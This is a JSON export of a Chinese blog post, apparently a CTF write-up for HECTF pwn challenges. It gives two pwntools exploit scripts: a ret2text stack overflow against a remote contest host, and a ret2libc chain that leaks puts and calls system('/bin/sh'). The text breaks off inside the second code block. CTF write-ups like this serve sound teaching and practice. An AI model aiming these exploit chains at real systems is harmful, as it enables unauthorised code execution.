{"id":777,"date":"2025-12-22T14:12:54","date_gmt":"2025-12-22T06:12:54","guid":{"rendered":"https:\/\/www.okabe.xin\/wordpress\/?p=777"},"modified":"2025-12-22T14:12:54","modified_gmt":"2025-12-22T06:12:54","slug":"hectfpwn%ef%bc%8c%e9%9d%9e%e5%85%a8%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=777","title":{"rendered":"HECTF(PWN\uff0c\u975e\u5168\u89e3)"},"content":{"rendered":"\n<p>\u7531\u4e8e\u671f\u672b\u7684\u539f\u56e0\u5c31\u5403\u996d\u7684\u65f6\u5019\u770b\u4e86\u4e24\u773c\uff08\uff1f\uff09<\/p>\n\n\n\n<p>\u505a\u7684\u4e09\u9053\u90fd\u7b7e\u5230\u7ea7\uff08\uff09<\/p>\n\n\n\n<p>nc\u59d1\u4e14\u5c31\u4e0d\u8bf4\u4e86\uff0c\u8fde\u4e0a\uff0c\u597d\u50cf\u5c31\u6ca1\u4ec0\u4e48\u96be\u70b9\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">easy_pwn<\/h2>\n\n\n\n<p>\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u6df7\u6dc6\u4e86\u4e00\u6b21HECTF\uff0c\u6253ret2text<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#d8dee9ff;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>from pwn import *\nio = remote(\"8.153.93.57\",30214)\n\n#io = process(\".\/pwn\")\n#gdb.attach(io)\nio.sendline(b'GDBSE')\nsh = 0x0000000004011D6\nret = 0x000000000040101a\npd = b'a'* (0x30+8) + p64(ret) +p64(sh)\nio.sendline(pd)\nio.interactive()<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D8DEE9\">from<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">pwn<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">import<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">*<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">remote<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">8.153.93.57<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #ECEFF4\">,<\/span><span style=\"color: #D8DEE9FF\">30214)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\">#<\/span><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">process<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">.\/pwn<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\">#<\/span><span style=\"color: #8FBCBB\">gdb<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">attach<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">GDBSE<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">sh<\/span><span style=\"color: #D8DEE9FF\"> = 0<\/span><span style=\"color: #8FBCBB\">x0000000004011D6<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">ret<\/span><span style=\"color: #D8DEE9FF\"> = 0<\/span><span style=\"color: #8FBCBB\">x000000000040101a<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">pd<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">a<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #81A1C1\">*<\/span><span style=\"color: #D8DEE9FF\"> (0<\/span><span style=\"color: #8FBCBB\">x30<\/span><span style=\"color: #D8DEE9FF\">+8) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">ret<\/span><span style=\"color: #D8DEE9FF\">) +<\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">sh<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">pd<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">interactive<\/span><span style=\"color: #D8DEE9FF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">shop<\/h2>\n\n\n\n<p>\u4ecd\u7136\u7b80\u5355\uff0c-1\u7ed5\u8fc7\u68c0\u67e5\uff0c\u7136\u540e\u6253ret2libc\uff0c\u5f88\u5e38\u89c4<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#d8dee9ff;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>from pwn import *\ncontext.log_level = 'debug'\nio = process(\".\/pwn\")\nelf = ELF(\".\/pwn\")\nlibc = ELF(\".\/libc.so.6\")\nrecord = 0x000000000401266\nret = 0x000000000040101a\n#admin pannel\nio.sendlineafter(b'choice:',b'2')\nio.sendlineafter(b'password:',b'shopadmin123')\nio.sendlineafter(b'amount:',b'-1')\n\nputs_got = elf.got&#91;\"puts\"&#93;\nputs_plt = elf.plt&#91;\"puts\"&#93;\n\npop_rdi = 0x0000000000401240\nio.sendline(b'okabe')\nio.sendline(b'123')\nleak = b'a'*(0x50+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(record)\n#gdb.attach(io)\nio.sendline(leak)\nio.recvuntil(b'description:\\n')\nleak_puts = io.recv(6)\nputs = u64(leak_puts.ljust(8,b'\\x00'))\nh_puts = hex(puts)\nlog.success(h_puts)\n\n#calulate padding of libc\nlibc_base = puts - libc.symbols&#91;'puts'&#93;\nh_libc_base = hex(libc_base)\nlog.success(h_libc_base)\n\nio.sendline(b'okabe')\nio.sendline(b'123')\nsystem = libc.symbols&#91;'system'&#93; + libc_base\nsh = libc_base + next(libc.search(b'\/bin\/sh'))\n\n\npd = b'a' * (0x50+8) + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) \ngdb.attach(io)\nio.sendline(pd)\n\nio.interactive()<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D8DEE9\">from<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">pwn<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">import<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">*<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">context<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">log_level<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">debug<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">process<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">.\/pwn<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">elf<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">ELF<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">.\/pwn<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">libc<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">ELF<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">.\/libc.so.6<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">record<\/span><span style=\"color: #D8DEE9FF\"> = 0<\/span><span style=\"color: #8FBCBB\">x000000000401266<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">ret<\/span><span style=\"color: #D8DEE9FF\"> = 0<\/span><span style=\"color: #8FBCBB\">x000000000040101a<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\">#<\/span><span style=\"color: #8FBCBB\">admin<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">pannel<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendlineafter<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">choice:<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #ECEFF4\">,<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">2<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendlineafter<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">password:<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #ECEFF4\">,<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">shopadmin123<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendlineafter<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">amount:<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #ECEFF4\">,<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">-1<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">puts_got<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">elf<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">got<\/span><span style=\"color: #D8DEE9FF\">&#91;<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">puts<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">puts_plt<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">elf<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">plt<\/span><span style=\"color: #D8DEE9FF\">&#91;<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">puts<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #D8DEE9FF\">&#93;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">pop_rdi<\/span><span style=\"color: #D8DEE9FF\"> = 0<\/span><span style=\"color: #8FBCBB\">x0000000000401240<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">okabe<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">123<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">leak<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">a<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #81A1C1\">*<\/span><span style=\"color: #D8DEE9FF\">(0<\/span><span style=\"color: #8FBCBB\">x50<\/span><span style=\"color: #D8DEE9FF\">+8) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">pop_rdi<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">puts_got<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">puts_plt<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">record<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\">#<\/span><span style=\"color: #8FBCBB\">gdb<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">attach<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">leak<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">recvuntil<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">description:<\/span><span style=\"color: #EBCB8B\">\\n<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">leak_puts<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">recv<\/span><span style=\"color: #D8DEE9FF\">(6)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">puts<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">u64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">leak_puts<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">ljust<\/span><span style=\"color: #D8DEE9FF\">(8<\/span><span style=\"color: #ECEFF4\">,<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #EBCB8B\">\\x00<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">h_puts<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">hex<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">puts<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">log<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">success<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">h_puts<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\">#<\/span><span style=\"color: #8FBCBB\">calulate<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">padding<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">of<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">libc<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">libc_base<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">puts<\/span><span style=\"color: #D8DEE9FF\"> - <\/span><span style=\"color: #8FBCBB\">libc<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">symbols<\/span><span style=\"color: #D8DEE9FF\">&#91;<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">puts<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">h_libc_base<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">hex<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">libc_base<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">log<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">success<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">h_libc_base<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">okabe<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">123<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">system<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">libc<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">symbols<\/span><span style=\"color: #D8DEE9FF\">&#91;<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">system<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">&#93; + <\/span><span style=\"color: #8FBCBB\">libc_base<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">sh<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">libc_base<\/span><span style=\"color: #D8DEE9FF\"> + <\/span><span style=\"color: #8FBCBB\">next<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">libc<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">search<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">\/bin\/sh<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\">))<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">pd<\/span><span style=\"color: #D8DEE9FF\"> = <\/span><span style=\"color: #8FBCBB\">b<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #A3BE8C\">a<\/span><span style=\"color: #ECEFF4\">&#39;<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">*<\/span><span style=\"color: #D8DEE9FF\"> (0<\/span><span style=\"color: #8FBCBB\">x50<\/span><span style=\"color: #D8DEE9FF\">+8) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">ret<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">pop_rdi<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">sh<\/span><span style=\"color: #D8DEE9FF\">) + <\/span><span style=\"color: #8FBCBB\">p64<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">system<\/span><span style=\"color: #D8DEE9FF\">) <\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">gdb<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">attach<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">sendline<\/span><span style=\"color: #D8DEE9FF\">(<\/span><span style=\"color: #8FBCBB\">pd<\/span><span style=\"color: #D8DEE9FF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #8FBCBB\">io<\/span><span style=\"color: #D8DEE9FF\">.<\/span><span style=\"color: #8FBCBB\">interactive<\/span><span style=\"color: 